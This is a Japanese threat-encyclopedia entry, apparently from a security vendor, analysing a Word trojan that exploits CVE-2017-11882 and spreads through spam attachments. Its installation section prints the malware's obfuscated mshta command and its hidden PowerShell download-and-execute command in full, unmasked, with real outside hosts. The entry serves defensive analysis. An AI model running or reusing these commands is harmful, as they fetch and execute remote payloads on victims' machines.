Trojan.W97M.CVE201711882.THOBHAI

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。 マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ソフトウェア内の脆弱性を利用します。これにより、不正リモートユーザまたはマルウェア等は、感染したコンピュータにファイルをダウンロードすることが可能となります。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

侵入方法

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• cMd /C mS^Ht^a ht^tp^s:^/^/pastebin.com/raw/KaRJhyiv
• %System%\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('https://my.mixtape.moe/ophpqq.htaa',$env:Temp+'\KRQVHK.Exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\KRQVHK.Exe')

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• https://pastebin.com/raw/{BLOCKED}iv - downloads a script and run using mshta.exe
• https://my.{BLOCKED}e.moe/ophpqq.htaa - Downloads files

マルウェアは、以下のソフトウェア内の脆弱性を利用します。これにより、不正リモートユーザまたはマルウェア等は、感染したコンピュータにファイルをダウンロードすることが可能となります。

• CVE-2017-11882 | Microsoft Office Memory Corruption Vulnerability

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %User Temp%\KRQVHK.Exe

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000、XP、Server 2003の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。)

その他

ただし、情報公開日現在、このWebサイトにはアクセスできません。